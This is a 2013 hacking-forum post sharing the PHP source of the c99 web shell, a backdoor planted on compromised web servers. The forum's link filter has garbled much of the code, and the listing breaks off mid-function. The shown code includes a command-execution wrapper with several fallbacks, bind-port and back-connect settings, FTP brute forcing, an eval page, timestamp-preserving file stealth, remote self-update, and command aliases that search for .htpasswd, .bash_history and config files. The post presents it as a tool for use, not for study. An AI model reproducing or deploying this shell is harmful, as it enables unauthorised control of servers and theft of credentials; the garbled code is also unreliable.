send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Shell] c99!

  • 2 Respuestas
  • 2836 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Mayk0

  • *
  • Underc0der
  • Mensajes: 127
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Hacktivismo Latinoamerica
    • Email
  • Skype: maykozapata
« en: Abril 27, 2013, 10:12:41 am »
Código: PHP
  1. <?php
  2. *
  3. *  © Captain Crunch Security TeaM. Coded by tristram
  4. *
  5. ******************************************************************************************************
  6. */
  7. //Starting calls
  8. if (!You are not allowed to view links. Register or Login("getmicrotime")) {function getmicrotime() {You are not allowed to view links. Register or Login($usec, $sec) = You are not allowed to view links. Register or Login(" ", You are not allowed to view links. Register or Login()); return ((float)$usec + (float)$sec);}}
  9. You are not allowed to view links. Register or Login(5);
  10. @You are not allowed to view links. Register or Login(true);
  11. @You are not allowed to view links. Register or Login(0);
  12. $win = You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(PHP_OS,0,3)) == "win";
  13. You are not allowed to view links. Register or Login("starttime",getmicrotime());
  14. if (You are not allowed to view links. Register or Login()) {if (!You are not allowed to view links. Register or Login("strips")) {function strips(&$arr,$k="") {if (You are not allowed to view links. Register or Login($arr)) {foreach($arr as $k=>$v) {if (You are not allowed to view links. Register or Login($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = You are not allowed to view links. Register or Login($arr);}}} strips($GLOBALS);}
  15. $_REQUEST = You are not allowed to view links. Register or Login($_COOKIE,$_GET,$_POST);
  16. foreach($_REQUEST as $k=>$v) {if (!You are not allowed to view links. Register or Login($$k)) {$$k = $v;}}
  17.  
  18. $shver = "1.0 pre-release build #13"; //Current version
  19. //CONFIGURATION AND SETTINGS
  20. if (!You are not allowed to view links. Register or Login($unset_surl)) {You are not allowed to view links. Register or Login("c99sh_surl"); $surl = "";}
  21. elseif (!You are not allowed to view links. Register or Login($set_surl)) {$surl = $set_surl; You are not allowed to view links. Register or Login("c99sh_surl",$surl);}
  22. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  23. }
  24.  
  25. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  26.  
  27. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (You are not allowed to view links. Register or Login("&",You are not allowed to view links. Register or Login("QUERY_STRING")) as $v) {$v = You are not allowed to view links. Register or Login("=",$v); $name = You are not allowed to view links. Register or Login($v[0]); $value = You are not allowed to view links. Register or Login($v[1]); foreach (You are not allowed to view links. Register or Login("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (You are not allowed to view links. Register or Login($value,$needle) === 0) {$includestr .= You are not allowed to view links. Register or Login($name)."=".You are not allowed to view links. Register or Login($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  28. if (You are not allowed to view links. Register or Login($surl))
  29. {
  30.  $surl = "?".$includestr; //Self url
  31. }
  32. $surl = You are not allowed to view links. Register or Login($surl);
  33.  
  34. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  35.  
  36. //Authentication
  37. $login = ""; //login
  38. //DON'T FORGOT ABOUT PASSWORD!!!
  39. $pass = ""; //password
  40. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  41.  
  42. $host_allow = You are not allowed to view links. Register or Login("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  43. $login_txt = "Restricted area"; //http-auth message.
  44. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  45.  
  46. $gzipencode = true; //Encode with gzip?
  47.  
  48. $updatenow = false; //If true, update now (this variable will be false)
  49.  
  50. $c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
  51. $c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server
  52.  
  53. $filestealth = true; //if true, don't change modify- and access-time
  54.  
  55. $donated_html = "<center><b>Owned by hacker</b></center>";
  56.                 /* If you publish free shell and you wish
  57.                 add link to your site or any other information,
  58.                 put here your html. */
  59. $donated_act = You are not allowed to view links. Register or Login(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  60.  
  61. $curdir = "./"; //start folder
  62. //$curdir = getenv("DOCUMENT_ROOT");
  63. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  64. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  65.  
  66. $log_email = "user@host.tld"; //Default e-mail for sending logs
  67.  
  68. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  69. $sort_save = true; //If true then save sorting-position using cookies.
  70.  
  71. // Registered file-types.
  72. //  array(
  73. //   "{action1}"=>array("ext1","ext2","ext3",...),
  74. //   "{action2}"=>array("ext4","ext5","ext6",...),
  75. //   ...
  76. //  )
  77. $ftypes  = You are not allowed to view links. Register or Login(
  78.  "html"=>You are not allowed to view links. Register or Login("html","htm","shtml"),
  79.  "txt"=>You are not allowed to view links. Register or Login("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  80.  "exe"=>You are not allowed to view links. Register or Login("sh","install","bat","cmd"),
  81.  "ini"=>You are not allowed to view links. Register or Login("ini","inf"),
  82.  "code"=>You are not allowed to view links. Register or Login("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  83.  "img"=>You are not allowed to view links. Register or Login("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  84.  "sdb"=>You are not allowed to view links. Register or Login("sdb"),
  85.  "phpsess"=>You are not allowed to view links. Register or Login("sess"),
  86.  "download"=>You are not allowed to view links. Register or Login("exe","com","pif","src","lnk","zip","rar","gz","tar")
  87. );
  88.  
  89. // Registered executable file-types.
  90. //  array(
  91. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  92. //   ...
  93. //  )
  94. //   {command}: %f% = filename
  95. $exeftypes  = You are not allowed to view links. Register or Login(
  96.  You are not allowed to view links. Register or Login("PHPRC")." -q %f%" => You are not allowed to view links. Register or Login("php","php3","php4"),
  97.  "perl %f%" => You are not allowed to view links. Register or Login("pl","cgi")
  98. );
  99.  
  100. /* Highlighted files.
  101.   array(
  102.    i=>array({regexp},{type},{opentag},{closetag},{break})
  103.    ...
  104.   )
  105.   string {regexp} - regular exp.
  106.   int {type}:
  107.         0 - files and folders (as default),
  108.         1 - files only, 2 - folders only
  109.   string {opentag} - open html-tag, e.g. "<b>" (default)
  110.   string {closetag} - close html-tag, e.g. "</b>" (default)
  111.   bool {break} - if true and found match then break
  112. */
  113. $regxp_highlight  = You are not allowed to view links. Register or Login(
  114.   You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  115.   You are not allowed to view links. Register or Login("config.php",1) // example
  116. );
  117.  
  118. $safemode_diskettes = You are not allowed to view links. Register or Login("a"); // This variable for disabling diskett-errors.
  119.                                                                          // array (i=>{letter} ...); string {letter} - letter of a drive
  120. //$safemode_diskettes = range("a","z");
  121. $hexdump_lines = 8;     // lines in hex preview file
  122. $hexdump_rows = 24;     // 16, 24 or 32 bytes in one line
  123.  
  124. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  125.  
  126. $bindport_pass = "c99";   // default password for binding
  127. $bindport_port = "31373"; // default port for binding
  128. $bc_port = "31373"; // default port for back-connect
  129. $datapipe_localport = "8081"; // default port for datapipe
  130.  
  131. // Command-aliases
  132. if (!$win)
  133. {
  134.  $cmdaliases = You are not allowed to view links. Register or Login(
  135.   You are not allowed to view links. Register or Login("-----------------------------------------------------------", "ls -la"),
  136.   You are not allowed to view links. Register or Login("find all suid files", "find / -type f -perm -04000 -ls"),
  137.   You are not allowed to view links. Register or Login("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  138.   You are not allowed to view links. Register or Login("find all sgid files", "find / -type f -perm -02000 -ls"),
  139.   You are not allowed to view links. Register or Login("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  140.   You are not allowed to view links. Register or Login("find config.inc.php files", "find / -type f -name config.inc.php"),
  141.   You are not allowed to view links. Register or Login("find config* files", "find / -type f -name \"config*\""),
  142.   You are not allowed to view links. Register or Login("find config* files in current dir", "find . -type f -name \"config*\""),
  143.   You are not allowed to view links. Register or Login("find all writable folders and files", "find / -perm -2 -ls"),
  144.   You are not allowed to view links. Register or Login("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  145.   You are not allowed to view links. Register or Login("find all service.pwd files", "find / -type f -name service.pwd"),
  146.   You are not allowed to view links. Register or Login("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  147.   You are not allowed to view links. Register or Login("find all .htpasswd files", "find / -type f -name .htpasswd"),
  148.   You are not allowed to view links. Register or Login("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  149.   You are not allowed to view links. Register or Login("find all .bash_history files", "find / -type f -name .bash_history"),
  150.   You are not allowed to view links. Register or Login("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  151.   You are not allowed to view links. Register or Login("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  152.   You are not allowed to view links. Register or Login("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  153.   You are not allowed to view links. Register or Login("list file attributes on a Linux second extended file system", "lsattr -va"),
  154.   You are not allowed to view links. Register or Login("show opened ports", "netstat -an | grep -i listen")
  155.  );
  156. }
  157. else
  158. {
  159.  $cmdaliases = You are not allowed to view links. Register or Login(
  160.   You are not allowed to view links. Register or Login("-----------------------------------------------------------", "dir"),
  161.   You are not allowed to view links. Register or Login("show opened ports", "netstat -an")
  162.  );
  163. }
  164.  
  165. $sess_cookie = "c99shvars"; // Cookie-variable name
  166.  
  167. $usefsbuff = true; //Buffer-function
  168. $copy_unset = false; //Remove copied files from buffer after pasting
  169.  
  170. //Quick launch
  171. $quicklaunch = You are not allowed to view links. Register or Login(
  172.  You are not allowed to view links. Register or Login("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  173.  You are not allowed to view links. Register or Login("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  174.  You are not allowed to view links. Register or Login("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  175.  You are not allowed to view links. Register or Login("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  176.  You are not allowed to view links. Register or Login("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  177.  You are not allowed to view links. Register or Login("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  178.  You are not allowed to view links. Register or Login("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  179.  You are not allowed to view links. Register or Login("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  180.  You are not allowed to view links. Register or Login("<b>Tools</b>",$surl."act=tools&d=%d"),
  181.  You are not allowed to view links. Register or Login("<b>Proc.</b>",$surl."act=processes&d=%d"),
  182.  You are not allowed to view links. Register or Login("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  183.  You are not allowed to view links. Register or Login("<b>Sec.</b>",$surl."act=security&d=%d"),
  184.  You are not allowed to view links. Register or Login("<b>SQL</b>",$surl."act=sql&d=%d"),
  185.  You are not allowed to view links. Register or Login("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  186.  You are not allowed to view links. Register or Login("<b>Update</b>",$surl."act=update&d=%d"),
  187.  You are not allowed to view links. Register or Login("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  188.  You are not allowed to view links. Register or Login("<b>Self remove</b>",$surl."act=selfremove"),
  189.  You are not allowed to view links. Register or Login("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  190. );
  191.  
  192. //Highlight-code colors
  193. $highlight_background = "#c0c0c0";
  194. $highlight_bg = "#FFFFFF";
  195. $highlight_comment = "#6A6A6A";
  196. $highlight_default = "#0000BB";
  197. $highlight_html = "#1300FF";
  198. $highlight_keyword = "#007700";
  199. $highlight_string = "#000000";
  200.  
  201. @$f = $_REQUEST["f"];
  202. @You are not allowed to view links. Register or Login($_REQUEST["c99shcook"]);
  203.  
  204. //END CONFIGURATION
  205.  
  206.  
  207. //                              \/      Next code isn't for editing     \/
  208. @You are not allowed to view links. Register or Login(0);
  209. $tmp = You are not allowed to view links. Register or Login();
  210. foreach($host_allow as $k=>$v) {$tmp[] = You are not allowed to view links. Register or Login("\\*",".*",You are not allowed to view links. Register or Login($v));}
  211. $s = "!^(".You are not allowed to view links. Register or Login("|",$tmp).")$!i";
  212. if (!You are not allowed to view links. Register or Login($s,You are not allowed to view links. Register or Login("REMOTE_ADDR")) and !You are not allowed to view links. Register or Login($s,You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login("REMOTE_ADDR")))) {You are not allowed to view links. Register or Login("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".You are not allowed to view links. Register or Login("REMOTE_ADDR").") not allow");}
  213. if (!You are not allowed to view links. Register or Login($login))
  214. {
  215.  if (You are not allowed to view links. Register or Login($md5_pass)) {$md5_pass = You are not allowed to view links. Register or Login($pass);}
  216.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (You are not allowed to view links. Register or Login($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  217.  {
  218.   if (You are not allowed to view links. Register or Login($login_txt)) {$login_txt = You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login("&nbsp;|<br>"," ",$donated_html));}
  219.   You are not allowed to view links. Register or Login("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  220.   You are not allowed to view links. Register or Login("HTTP/1.0 401 Unauthorized");
  221.   You are not allowed to view links. Register or Login($accessdeniedmess);
  222.  }
  223. }
  224. if ($act != "img")
  225. {
  226. $lastdir = You are not allowed to view links. Register or Login(".");
  227. You are not allowed to view links. Register or Login($curdir);
  228. if ($selfwrite or $updatenow) {@You are not allowed to view links. Register or Login(); c99sh_getupdate($selfwrite,1); You are not allowed to view links. Register or Login;}
  229. $sess_data = You are not allowed to view links. Register or Login($_COOKIE["$sess_cookie"]);
  230. if (!You are not allowed to view links. Register or Login($sess_data)) {$sess_data = You are not allowed to view links. Register or Login();}
  231. if (!You are not allowed to view links. Register or Login($sess_data["copy"])) {$sess_data["copy"] = You are not allowed to view links. Register or Login();}
  232. if (!You are not allowed to view links. Register or Login($sess_data["cut"])) {$sess_data["cut"] = You are not allowed to view links. Register or Login();}
  233.  
  234. $disablefunc = @You are not allowed to view links. Register or Login("disable_functions");
  235. if (!You are not allowed to view links. Register or Login($disablefunc))
  236. {
  237.  $disablefunc = You are not allowed to view links. Register or Login(" ","",$disablefunc);
  238.  $disablefunc = You are not allowed to view links. Register or Login(",",$disablefunc);
  239. }
  240.  
  241. if (!You are not allowed to view links. Register or Login("c99_buff_prepare"))
  242. {
  243. function c99_buff_prepare()
  244. {
  245.  global $sess_data;
  246.  global $act;
  247.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,You are not allowed to view links. Register or Login($v));}
  248.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,You are not allowed to view links. Register or Login($v));}
  249.  $sess_data["copy"] = You are not allowed to view links. Register or Login($sess_data["copy"]);
  250.  $sess_data["cut"] = You are not allowed to view links. Register or Login($sess_data["cut"]);
  251.  You are not allowed to view links. Register or Login($sess_data["copy"]);
  252.  You are not allowed to view links. Register or Login($sess_data["cut"]);
  253.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {You are not allowed to view links. Register or Login($sess_data["copy"][$k]); }}}
  254.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {You are not allowed to view links. Register or Login($sess_data["cut"][$k]);}}}
  255. }
  256. }
  257. c99_buff_prepare();
  258. if (!You are not allowed to view links. Register or Login("c99_sess_put"))
  259. {
  260. function c99_sess_put($data)
  261. {
  262.  global $sess_cookie;
  263.  global $sess_data;
  264.  c99_buff_prepare();
  265.  $sess_data = $data;
  266.  $data = You are not allowed to view links. Register or Login($data);
  267.  You are not allowed to view links. Register or Login($sess_cookie,$data);
  268. }
  269. }
  270. foreach (You are not allowed to view links. Register or Login("sort","sql_sort") as $v)
  271. {
  272.  if (!You are not allowed to view links. Register or Login($_GET[$v])) {$$v = $_GET[$v];}
  273.  if (!You are not allowed to view links. Register or Login($_POST[$v])) {$$v = $_POST[$v];}
  274. }
  275. if ($sort_save)
  276. {
  277.  if (!You are not allowed to view links. Register or Login($sort)) {You are not allowed to view links. Register or Login("sort",$sort);}
  278.  if (!You are not allowed to view links. Register or Login($sql_sort)) {You are not allowed to view links. Register or Login("sql_sort",$sql_sort);}
  279. }
  280. if (!You are not allowed to view links. Register or Login("str2mini"))
  281. {
  282. function str2mini($content,$len)
  283. {
  284.  if (You are not allowed to view links. Register or Login($content) > $len)
  285.  {
  286.   $len = You are not allowed to view links. Register or Login($len/2) - 2;
  287.   return You are not allowed to view links. Register or Login($content, 0,$len)."...".You are not allowed to view links. Register or Login($content,-$len);
  288.  }
  289.  else {return $content;}
  290. }
  291. }
  292. if (!You are not allowed to view links. Register or Login("view_size"))
  293. {
  294. function view_size($size)
  295. {
  296.  if (!You are not allowed to view links. Register or Login($size)) {return false;}
  297.  else
  298.  {
  299.   if ($size >= 1073741824) {$size = You are not allowed to view links. Register or Login($size/1073741824*100)/100 ." GB";}
  300.   elseif ($size >= 1048576) {$size = You are not allowed to view links. Register or Login($size/1048576*100)/100 ." MB";}
  301.   elseif ($size >= 1024) {$size = You are not allowed to view links. Register or Login($size/1024*100)/100 ." KB";}
  302.   else {$size = $size . " B";}
  303.   return $size;
  304.  }
  305. }
  306. }
  307. if (!You are not allowed to view links. Register or Login("fs_copy_dir"))
  308. {
  309. function fs_copy_dir($d,$t)
  310. {
  311.  $d = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$d);
  312.  if (You are not allowed to view links. Register or Login($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  313.  $h = You are not allowed to view links. Register or Login($d);
  314.  while (($o = You are not allowed to view links. Register or Login($h)) !== false)
  315.  {
  316.   if (($o != ".") and ($o != ".."))
  317.   {
  318.    if (!You are not allowed to view links. Register or Login($d.DIRECTORY_SEPARATOR.$o)) {$ret = You are not allowed to view links. Register or Login($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  319.    else {$ret = You are not allowed to view links. Register or Login($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  320.    if (!$ret) {return $ret;}
  321.   }
  322.  }
  323.  You are not allowed to view links. Register or Login($h);
  324.  return true;
  325. }
  326. }
  327. if (!You are not allowed to view links. Register or Login("fs_copy_obj"))
  328. {
  329. function fs_copy_obj($d,$t)
  330. {
  331.  $d = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$d);
  332.  $t = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$t);
  333.  if (!You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($t))) {You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($t));}
  334.  if (You are not allowed to view links. Register or Login($d))
  335.  {
  336.   if (You are not allowed to view links. Register or Login($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  337.   if (You are not allowed to view links. Register or Login($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  338.   return fs_copy_dir($d,$t);
  339.  }
  340.  elseif (You are not allowed to view links. Register or Login($d)) {return You are not allowed to view links. Register or Login($d,$t);}
  341.  else {return false;}
  342. }
  343. }
  344. if (!You are not allowed to view links. Register or Login("fs_move_dir"))
  345. {
  346. function fs_move_dir($d,$t)
  347. {
  348.  $h = You are not allowed to view links. Register or Login($d);
  349.  if (!You are not allowed to view links. Register or Login($t)) {You are not allowed to view links. Register or Login($t);}
  350.  while (($o = You are not allowed to view links. Register or Login($h)) !== false)
  351.  {
  352.   if (($o != ".") and ($o != ".."))
  353.   {
  354.    $ret = true;
  355.    if (!You are not allowed to view links. Register or Login($d.DIRECTORY_SEPARATOR.$o)) {$ret = You are not allowed to view links. Register or Login($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  356.    else {if (You are not allowed to view links. Register or Login($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
  357.    if (!$ret) {return $ret;}
  358.   }
  359.  }
  360.  You are not allowed to view links. Register or Login($h);
  361.  return true;
  362. }
  363. }
  364. if (!You are not allowed to view links. Register or Login("fs_move_obj"))
  365. {
  366. function fs_move_obj($d,$t)
  367. {
  368.  $d = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$d);
  369.  $t = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$t);
  370.  if (You are not allowed to view links. Register or Login($d))
  371.  {
  372.   if (You are not allowed to view links. Register or Login($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  373.   if (You are not allowed to view links. Register or Login($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  374.   return fs_move_dir($d,$t);
  375.  }
  376.  elseif (You are not allowed to view links. Register or Login($d))
  377.  {
  378.   if(You are not allowed to view links. Register or Login($d,$t)) {return You are not allowed to view links. Register or Login($d);}
  379.   else {You are not allowed to view links. Register or Login($t); return false;}
  380.  }
  381.  else {return false;}
  382. }
  383. }
  384. if (!You are not allowed to view links. Register or Login("fs_rmdir"))
  385. {
  386. function fs_rmdir($d)
  387. {
  388.  $h = You are not allowed to view links. Register or Login($d);
  389.  while (($o = You are not allowed to view links. Register or Login($h)) !== false)
  390.  {
  391.   if (($o != ".") and ($o != ".."))
  392.   {
  393.    if (!You are not allowed to view links. Register or Login($d.$o)) {You are not allowed to view links. Register or Login($d.$o);}
  394.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); You are not allowed to view links. Register or Login($d.$o);}
  395.   }
  396.  }
  397.  You are not allowed to view links. Register or Login($h);
  398.  You are not allowed to view links. Register or Login($d);
  399.  return !You are not allowed to view links. Register or Login($d);
  400. }
  401. }
  402. if (!You are not allowed to view links. Register or Login("fs_rmobj"))
  403. {
  404. function fs_rmobj($o)
  405. {
  406.  $o = You are not allowed to view links. Register or Login("\\",DIRECTORY_SEPARATOR,$o);
  407.  if (You are not allowed to view links. Register or Login($o))
  408.  {
  409.   if (You are not allowed to view links. Register or Login($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  410.   return fs_rmdir($o);
  411.  }
  412.  elseif (You are not allowed to view links. Register or Login($o)) {return You are not allowed to view links. Register or Login($o);}
  413.  else {return false;}
  414. }
  415. }
  416. if (!You are not allowed to view links. Register or Login("myshellexec"))
  417. {
  418. function myshellexec($cmd)
  419. {
  420.  global $disablefunc;
  421.  $result = "";
  422.  if (!You are not allowed to view links. Register or Login($cmd))
  423.  {
  424.   if (You are not allowed to view links. Register or Login("exec") and !You are not allowed to view links. Register or Login("exec",$disablefunc)) {You are not allowed to view links. Register or Login($cmd,$result); $result = You are not allowed to view links. Register or Login("\n",$result);}
  425.   elseif (($result = `$cmd`) !== false) {}
  426.   elseif (You are not allowed to view links. Register or Login("system") and !You are not allowed to view links. Register or Login("system",$disablefunc)) {$v = @You are not allowed to view links. Register or Login(); @You are not allowed to view links. Register or Login(); You are not allowed to view links. Register or Login($cmd); $result = @You are not allowed to view links. Register or Login(); @You are not allowed to view links. Register or Login(); echo $v;}
  427.   elseif (You are not allowed to view links. Register or Login("passthru") and !You are not allowed to view links. Register or Login("passthru",$disablefunc)) {$v = @You are not allowed to view links. Register or Login(); @You are not allowed to view links. Register or Login(); You are not allowed to view links. Register or Login($cmd); $result = @You are not allowed to view links. Register or Login(); @You are not allowed to view links. Register or Login(); echo $v;}
  428.   elseif (You are not allowed to view links. Register or Login($fp = You are not allowed to view links. Register or Login($cmd,"r")))
  429.   {
  430.    $result = "";
  431.    while(!You are not allowed to view links. Register or Login($fp)) {$result .= You are not allowed to view links. Register or Login($fp,1024);}
  432.    You are not allowed to view links. Register or Login($fp);
  433.   }
  434.  }
  435.  return $result;
  436. }
  437. }
  438. if (!You are not allowed to view links. Register or Login("tabsort")) {function tabsort($a,$b) {global $v; return You are not allowed to view links. Register or Login($a[$v], $b[$v]);}}
  439. if (!You are not allowed to view links. Register or Login("view_perms"))
  440. {
  441. function view_perms($mode)
  442. {
  443.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  444.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  445.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  446.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  447.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  448.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  449.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  450.  else {$type = "?";}
  451.  
  452.  $owner["read"] = ($mode & 00400)?"r":"-";
  453.  $owner["write"] = ($mode & 00200)?"w":"-";
  454.  $owner["execute"] = ($mode & 00100)?"x":"-";
  455.  $group["read"] = ($mode & 00040)?"r":"-";
  456.  $group["write"] = ($mode & 00020)?"w":"-";
  457.  $group["execute"] = ($mode & 00010)?"x":"-";
  458.  $world["read"] = ($mode & 00004)?"r":"-";
  459.  $world["write"] = ($mode & 00002)? "w":"-";
  460.  $world["execute"] = ($mode & 00001)?"x":"-";
  461.  
  462.  if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  463.  if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  464.  if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  465.  
  466.  return $type.You are not allowed to view links. Register or Login("",$owner).You are not allowed to view links. Register or Login("",$group).You are not allowed to view links. Register or Login("",$world);
  467. }
  468. }
  469. if (!You are not allowed to view links. Register or Login("posix_getpwuid") and !You are not allowed to view links. Register or Login("posix_getpwuid",$disablefunc)) {function You are not allowed to view links. Register or Login($uid) {return false;}}
  470. if (!You are not allowed to view links. Register or Login("posix_getgrgid") and !You are not allowed to view links. Register or Login("posix_getgrgid",$disablefunc)) {function You are not allowed to view links. Register or Login($gid) {return false;}}
  471. if (!You are not allowed to view links. Register or Login("posix_kill") and !You are not allowed to view links. Register or Login("posix_kill",$disablefunc)) {function You are not allowed to view links. Register or Login($gid) {return false;}}
  472. if (!You are not allowed to view links. Register or Login("parse_perms"))
  473. {
  474. function parse_perms($mode)
  475. {
  476.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  477.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  478.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  479.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  480.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  481.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  482.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  483.  else {$t = "?";}
  484.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  485.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  486.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  487.  return You are not allowed to view links. Register or Login("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  488. }
  489. }
  490. if (!You are not allowed to view links. Register or Login("parsesort"))
  491. {
  492. function parsesort($sort)
  493. {
  494.  $one = You are not allowed to view links. Register or Login($sort);
  495.  $second = You are not allowed to view links. Register or Login($sort,-1);
  496.  if ($second != "d") {$second = "a";}
  497.  return You are not allowed to view links. Register or Login($one,$second);
  498. }
  499. }
  500. if (!You are not allowed to view links. Register or Login("view_perms_color"))
  501. {
  502. function view_perms_color($o)
  503. {
  504.  if (!You are not allowed to view links. Register or Login($o)) {return "<font color=red>".view_perms(You are not allowed to view links. Register or Login($o))."</font>";}
  505.  elseif (!You are not allowed to view links. Register or Login($o)) {return "<font color=white>".view_perms(You are not allowed to view links. Register or Login($o))."</font>";}
  506.  else {return "<font color=green>".view_perms(You are not allowed to view links. Register or Login($o))."</font>";}
  507. }
  508. }
  509. if (!You are not allowed to view links. Register or Login("c99getsource"))
  510. {
